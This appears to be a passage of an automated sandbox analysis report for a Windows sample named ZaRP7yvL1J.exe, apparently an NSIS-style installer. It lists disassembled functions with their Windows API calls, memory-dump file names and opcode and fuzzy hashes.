Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 6F951B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6F95121B: GlobalAlloc.KERNELBASE(00000040,?,6F95123B,?,6F9512DF,00000019,6F9511BE,-000000A0), ref: 6F951225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 6F951C6B
lstrcpyW.KERNEL32(00000008,?), ref: 6F951CB3
lstrcpyW.KERNEL32(00000808,?), ref: 6F951CBD
GlobalFree.KERNEL32(00000000), ref: 6F951CD0
GlobalFree.KERNEL32(?), ref: 6F951DB2
GlobalFree.KERNEL32(?), ref: 6F951DB7
GlobalFree.KERNEL32(?), ref: 6F951DBC
GlobalFree.KERNEL32(00000000), ref: 6F951FA6
lstrcpyW.KERNEL32(?,?), ref: 6F952140
GetModuleHandleW.KERNEL32(00000008), ref: 6F9521B5
LoadLibraryW.KERNEL32(00000008), ref: 6F9521C6
GetProcAddress.KERNEL32(?,?), ref: 6F952220
lstrlenW.KERNEL32(00000808), ref: 6F95223A

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 7710de94d3ede34f5917c9b69c8ffe061551054efac9f84ad521514ea4a8f0fb
Instruction ID: 70ca590005620cde11e341bbceaea81b397346c53b0b0dbcad2396615f69ea9f
Opcode Fuzzy Hash: 7710de94d3ede34f5917c9b69c8ffe061551054efac9f84ad521514ea4a8f0fb
Instruction Fuzzy Hash: 4D229A71D44206DADB24CFB8C9846EEB7B8FF06315F10462AD1A5E61C0D774EAE9CB50

Function 00402104 Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

Call, xrefs: 004046FB
N, xrefs: 004046BA

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\ZaRP7yvL1J.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE
C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4010320282
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00000000,00000064,00002BF2), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 6F952569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6F95121B: GlobalAlloc.KERNELBASE(00000040,?,6F95123B,?,6F9512DF,00000019,6F9511BE,-000000A0), ref: 6F951225

GlobalFree.KERNEL32(?), ref: 6F952657
GlobalFree.KERNEL32(00000000), ref: 6F95268C

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

